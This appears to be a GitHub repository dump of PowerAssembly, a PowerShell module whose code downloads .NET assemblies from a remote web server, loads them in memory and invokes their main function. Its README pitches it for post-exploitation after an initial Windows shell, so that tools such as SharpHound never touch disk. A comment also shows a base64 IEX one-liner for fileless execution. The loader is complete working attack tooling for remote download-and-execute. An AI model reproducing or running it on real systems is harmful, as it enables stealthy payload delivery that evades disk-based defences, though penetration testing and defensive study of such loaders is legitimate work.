├── Images └── demo.png ├── PowerAssembly └── PowerAssembly.psm1 └── README.md /Images/demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PhrozenIO/PowerAssembly/0a450a4811007ac9f58fe7fe0f7ebad45c8049eb/Images/demo.png -------------------------------------------------------------------------------- /PowerAssembly/PowerAssembly.psm1: -------------------------------------------------------------------------------- 1 | <#------------------------------------------------------------------------------- 2 | 3 | .Developer 4 | Jean-Pierre LESUEUR (@DarkCoderSc) 5 | https://www.twitter.com/darkcodersc 6 | https://github.com/DarkCoderSc 7 | jplesueur@phrozen.io 8 | PHROZEN 9 | 10 | .License 11 | Apache License 12 | Version 2.0, January 2004 13 | http://www.apache.org/licenses/ 14 | 15 | -------------------------------------------------------------------------------#> 16 | 17 | Add-Type -Language CSharp -TypeDefinition @' 18 | using System; 19 | using System.IO; 20 | using System.Reflection; 21 | using System.Security.Cryptography; 22 | 23 | public class MemAssembly 24 | { 25 | public Assembly LoadedAssembly = null; 26 | public String Hash = null; 27 | 28 | private byte[] Buffer = null; 29 | 30 | public MemAssembly(byte[] assembly) 31 | { 32 | this.Buffer = assembly; 33 | 34 | SHA1Managed sha1 = new SHA1Managed(); 35 | this.Hash = BitConverter.ToString(sha1.ComputeHash(assembly)); 36 | } 37 | 38 | public void Load() 39 | { 40 | if (this.LoadedAssembly != null) 41 | { 42 | return; 43 | } 44 | 45 | this.LoadedAssembly = Assembly.Load(this.Buffer); 46 | } 47 | 48 | public string InvokeMain(string argumentsLine) 49 | { 50 | string output = ""; 51 | 52 | if (this.LoadedAssembly != null) 53 | { 54 | MethodInfo main = this.LoadedAssembly.EntryPoint; 55 | if (main != null) 56 | { 57 | try 58 | { 59 | TextWriter oldStdout = Console.Out; 60 | StringWriter sw = new StringWriter(); 61 | Console.SetOut(sw); 62 | try 63 | { 64 | string[] parameters = argumentsLine.Split(' '); 65 | 66 | object[] args = new object[] { parameters }; 67 | main.Invoke(null, args); 68 | 69 | sw.Flush(); 70 | } 71 | finally 72 | { 73 | Console.SetOut(oldStdout); 74 | 75 | output = sw.ToString(); 76 | } 77 | } 78 | catch 79 | {} 80 | } 81 | } 82 | 83 | return output; 84 | } 85 | } 86 | '@ -ReferencedAssemblies 'System.Reflection.dll' 87 | 88 | $global:globalMappedAssemblies = New-Object System.Collections.ArrayList 89 | 90 | 91 | function Get-AssemblyByHash 92 | { 93 | param( 94 | [string] $Hash 95 | ) 96 | 97 | foreach ($assembly in $globalMappedAssemblies) 98 | { 99 | if ($assembly.Hash -eq $Hash) 100 | { 101 | return $assembly 102 | } 103 | } 104 | 105 | return $null 106 | } 107 | 108 | function Get-MappedAssembliesList 109 | { 110 | $rows = [PSObject]@() 111 | 112 | $i = 1 113 | foreach ($assembly in $globalMappedAssemblies) 114 | { 115 | $row = New-Object PSObject 116 | 117 | $row | Add-Member -MemberType NoteProperty -Name Id -Value $i 118 | $row | Add-Member -MemberType NoteProperty -Name Name -Value ($assembly.LoadedAssembly.FullName.split(',')[0]) 119 | $row | Add-Member -MemberType NoteProperty -Name Hash -Value $assembly.Hash 120 | 121 | $rows += $row 122 | 123 | $i++ 124 | } 125 | 126 | Write-Output $rows | Format-Table 127 | } 128 | 129 | function Get-RemoteAssembly 130 | { 131 | param( 132 | [string] $RemoteAddress 133 | ) 134 | 135 | $data = (New-Object Net.WebClient).DownloadData($RemoteAddress) 136 | 137 | $assembly = New-Object -TypeName MemAssembly -ArgumentList @(,$data) 138 | 139 | try 140 | { 141 | $assembly.Load() 142 | } 143 | catch 144 | { 145 | Throw "Invalid or corrupted assembly file." 146 | } 147 | 148 | if (Get-AssemblyByHash -Hash $assembly.Hash) 149 | { 150 | Throw "Assembly is already mapped." 151 | } 152 | else 153 | { 154 | $globalMappedAssemblies.Add($assembly) > $null 155 | } 156 | } 157 | 158 | function Invoke-Assembly 159 | { 160 | param( 161 | [int] $mappedIndex, 162 | [string] $argumentLine 163 | ) 164 | 165 | if ($mappedIndex -eq 0) 166 | { 167 | $mappedIndex = 1 168 | } 169 | 170 | $assembly = $globalMappedAssemblies[$mappedIndex-1] 171 | if (-not $assembly) 172 | { 173 | Throw "Could not find mapped assembly at this index. Use Get-MappedAssembliesList to get the list of mapped assemblies." 174 | } 175 | 176 | Write-Output $assembly.InvokeMain($argumentLine) 177 | } 178 | 179 | # Placing the "Export-ModuleMember" in a Try/Catch make this script working outside PowerShell Module. 180 | # Example: IEX([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("<...This script in b64 encoded...>"))) 181 | try { 182 | Export-ModuleMember -Function Get-RemoteAssembly 183 | Export-ModuleMember -Function Invoke-Assembly 184 | Export-ModuleMember -Function Get-MappedAssembliesList 185 | } catch {} 186 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerAssembly 2 | 3 | Map in current PowerShell Instance Memory .NET Assemblies from remote web server. 4 | 5 | When Assembly is mapped, you can invoke it's main with a command line argument. 6 | 7 | The advantage of this technique is to avoid having assemblies written on disk. Everything happens in memory. 8 | 9 | I'm using this script during my penetration tests / labs right after getting an initial shell on Windows to load other .NET Tools (Ex: ShapHound, ShapUp etc..) 10 | 11 | # Prepare 12 | 13 | You can use this code whether as a PowerShell Module or Classic Script. 14 | 15 | ## As a module 16 | 17 | Choose an existing PowerShell Module Folder (see `echo $env:PSModulePath`) 18 | 19 | Create a folder called `PowerAssembly` and place the `PowerAssembly.psm1` module inside of this new folder. 20 | 21 | Open a new PowerShell Window and enter `Import-Module PowerAssembly` 22 | 23 | The module is now ready for use with available functions: 24 | 25 | * Get-MappedAssembliesList 26 | * Invoke-Assembly 27 | * Get-RemoteAssembly 28 | 29 | ## As a script 30 | 31 | You can for example copy / paste the whole `PowerAssembly.psm1` code in a new Powershell Window and enjoy offered functionalities. 32 | 33 | ## Use It 34 | 35 | ### Get-RemoteAssembly 36 | 37 | Retrieve a .NET Assembly hosted in a remote web server. 38 | 39 | URI must be a valid .NET Assembly file otherwise this function will raise an error. 40 | 41 | Example: 42 | 43 | `Get-RemoteAssembly -RemoteAddress http://127.0.0.1/MyAssembly.exe` 44 | 45 | or simply 46 | 47 | `Get-RemoteAssembly http://127.0.0.1/MyAssembly.exe` 48 | 49 | ### Get-MappedAssembliesList 50 | 51 | Return the list of successfully mapped assemblies with its index number. Index is important to define which assembly to invoke using `Invoke-Assembly` function. 52 | 53 | `Get-MappedAssembliesList` 54 | 55 | ### Invoke-Assembly 56 | 57 | Invoke the main function of a target mapped assembly (defined by its index, see `Get-MappedAssembliesList`) 58 | 59 | Example: 60 | 61 | `Invoke-Assembly -mappedIndex 1 -argumentLine "Arg1 Arg2 Arg3"` 62 | 63 | Notice: Index `0` = `1` 64 | 65 | ![Demo](Images/demo.png) 66 | 67 | --------------------------------------------------------------------------------